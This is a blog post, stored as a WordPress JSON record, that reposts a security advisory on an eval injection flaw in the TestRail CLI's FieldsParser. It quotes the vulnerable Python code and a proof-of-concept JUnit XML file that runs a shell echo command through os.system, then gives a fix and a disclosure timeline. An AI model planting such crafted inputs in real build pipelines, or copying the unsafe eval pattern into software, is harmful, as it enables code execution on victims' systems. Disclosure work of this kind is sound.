{"id":60202,"date":"2024-11-08T03:33:33","date_gmt":"2024-11-08T00:33:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182535\/testrailcli-inject.txt"},"modified":"2024-11-08T03:33:33","modified_gmt":"2024-11-08T00:33:33","slug":"testrail-cli-fieldsparser-eval-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/testrail-cli-fieldsparser-eval-injection\/","title":{"rendered":"TestRail CLI FieldsParser eval Injection"},"content":{"rendered":"<p>This is not a very exciting vulnerability, but I had already publicly disclosed<br \/>it on GitHub at the request of the vendor. Since that report has disappeared,<br \/>the link I had provided to MITRE was invalid, so here it is again.<\/p>\n<p>-Devin<\/p>\n<p>&#8212;<\/p>\n<p># Unsafe `eval()` in TestRail CLI FieldsParser<\/p>\n<p>Date Reported: 2024-10-03<br \/>CVSSv3.1 Score: 7.3<br \/>CVSSv3.1 Vector: AV:L\/AC:L\/PR:L\/UI:R\/S:U\/C:H\/I:H\/A:H<br \/>Severity: Medium<br \/>Vulnerability Class: Eval Injection<\/p>\n<p>## Summary<\/p>\n<p>While parsing test result XML files with the TestRail CLI, the presence of<br \/>certain TestRail-specific fields can cause untrusted data to flow into an<br \/>`eval()` statement, leading to arbitrary code execution. In order to exploit<br \/>this, an attacker would need to be able to cause the TestRail CLI to parse a<br \/>malicious XML file. Normally an attacker with this level of control would<br \/>already have other avenues of gaining code execution.<\/p>\n<p>However, there could be cases where an attacker can inject a malicious test<br \/>result file but is otherwise unable to execute arbitrary code on the system<br \/>running the TestRail CLI, resulting in a Local Privilege Escalation or Remote<br \/>Code Execution issue. In the worst case, this could result in compromising a<br \/>build system.<\/p>\n<p>## Description<\/p>\n<p>The vulnerability stems from the `eval()` statement in the<br \/>`FieldsParser.resolve_fields()` method:<\/p>\n<p>&#8220;`py<br \/>def resolve_fields(fields: Union[List[str], Dict]) -&gt; (Dict, str):<br \/>error = None<br \/>fields_dictionary = {}<br \/>try:<br \/>if isinstance(fields, list) or isinstance(fields, tuple):<br \/>for field in fields:<br \/>field, value = field.split(&#8220;:&#8221;, maxsplit=1)<br \/>if value.startswith(&#8220;[&#8220;):<br \/>try:<br \/>value = eval(value)<br \/>except Exception:<br \/>pass<br \/>fields_dictionary[field] = value<br \/>elif isinstance(fields, dict):<br \/>fields_dictionary = fields<br \/>else:<br \/>error = f&#8221;Invalid field type ({type(fields)}), supported<br \/>types are tuple\/list\/dictionary&#8221;<br \/>return fields_dictionary, error<br \/>except Exception as ex:<br \/>return fields_dictionary, f&#8221;Error parsing fields: {ex}&#8221;<br \/>&#8220;`<\/p>\n<p>https:\/\/github.com\/gurock\/trcli\/blob\/066008477bd4b05e46bb723c09373e8111cb2dea\/trcli\/data_classes\/data_parsers.py#L61<\/p>\n<p>This method is called when parsing result or case fields in JUnit or Robot XML<br \/>files if there are any Properties that have names starting<br \/>with`testrail_result_field` or `testrail_case_field`. In both cases, the value<br \/>or text of that Property is passed more or less directly to `eval()`.<\/p>\n<p>A specially crafted Property value can therefore be used to execute arbitrary<br \/>Python code.<\/p>\n<p>### Examples<\/p>\n<p>The following XML file will cause the TestRail CLI to spawn a shell and execute<br \/>our echo command:<\/p>\n<p>&#8220;`<br \/>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;testsuites time=&#8221;15.682687&#8243;&gt;<br \/>&lt;testsuite name=&#8221;Tests.Execution&#8221; time=&#8221;6.666666&#8243;&gt;<br \/>&lt;testcase name=&#8221;testCase0&#8243; classname=&#8221;Tests.Registration&#8221; assertions=&#8221;4&#8243;<br \/>time=&#8221;1.625275&#8243; file=&#8221;tests\/registration.code&#8221; line=&#8221;302&#8243;&gt;<br \/>&lt;properties&gt;<br \/>&lt;property name=&#8221;testrail_case_field&#8221;&gt;<br \/>:[] or __import__(&#8216;os&#8217;).system(&#8216;echo THIS IS<br \/>INSIDE THE EVAL STATEMENT&#8217;)<br \/>&lt;\/property&gt;<br \/>&lt;\/properties&gt;<br \/>&lt;\/testcase&gt;<br \/>&lt;\/testsuite&gt;<br \/>&lt;\/testsuites&gt;<br \/>&#8220;`<\/p>\n<p>&#8220;`<br \/>(trcli) devin@devin-laptop:~\/code\/trcli$ trcli -h http:\/\/127.0.0.1 -u<br \/>me -p no &#8211;project foo parse_junit -f .\/pwn.xml &#8211;title bar<br \/>TestRail CLI v1.9.7<br \/>Copyright 2024 Gurock Software GmbH &#8211; www.gurock.com<br \/>Parser Results Execution Parameters<br \/>&gt; Report file: .\/pwn.xml<br \/>&gt; Config file: None<br \/>&gt; TestRail instance: http:\/\/127.0.0.1 (user: me)<br \/>&gt; Project: foo<br \/>&gt; Run title: bar<br \/>&gt; Update run: No<br \/>&gt; Add to milestone: No<br \/>&gt; Auto-create entities: None<br \/>Parsing JUnit report.<br \/>THIS IS INSIDE THE EVAL STATEMENT<br \/>Processed 1 test cases in section Tests.Execution.<br \/>&#8220;`<\/p>\n<p>## Impact<\/p>\n<p>An attacker able to inject a malicious JUnit or Robot test result XML file can<br \/>compromise the system running the TestRail CLI.<\/p>\n<p>## References<\/p>\n<p>* CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code<br \/>(&#8216;Eval Injection&#8217;)](https:\/\/cwe.mitre.org\/data\/definitions\/95.html)<\/p>\n<p># Recommendations<\/p>\n<p>Use `ast.literal_eval()` instead. While `literal_eval()` could still be abused<br \/>to cause a Denial of Service, it prevents the execution of arbitrary code.<\/p>\n<p># Timeline<\/p>\n<p>2024-10-01: Issue Discovered<br \/>2024-10-02: Contacted the vendor according to the instructions on their<br \/>[security page](https:\/\/www.testrail.com\/about\/security\/)<br \/>2024-10-03: Report sent to vendor via ZenDesk ticket \\#359983<br \/>2024-10-04: Vendor requests public disclosure in a GitHub Issue<br \/>2024-10-11: Published report as [public GitHub<br \/>Issue](https:\/\/github.com\/gurock\/trcli\/issues\/279)<br \/>2024-10-30: Noticed that the vendor has deleted the [public GitHub<br \/>Issue](https:\/\/github.com\/gurock\/trcli\/issues\/279) containing the<br \/>bug report and some conversation about responsible disclosure and<br \/>requesting a CVE. The vulnerability has not been fixed in the<br \/>`main` branch.<br \/>2024-11-05: Full disclosure mailing list notified.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is not a very exciting vulnerability, but I had already publicly disclosedit on GitHub at the request of the vendor. Since that report has disappeared,the link I had provided to MITRE was invalid, so here it is again. -Devin &#8212; # Unsafe `eval()` in TestRail CLI FieldsParser Date Reported: 2024-10-03CVSSv3.1 Score: 7.3CVSSv3.1 Vector: AV:L\/AC:L\/PR:L\/UI:R\/S:U\/C:H\/I:H\/A:HSeverity: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60202","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60202","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60202"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60202\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60202"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60202"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60202"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}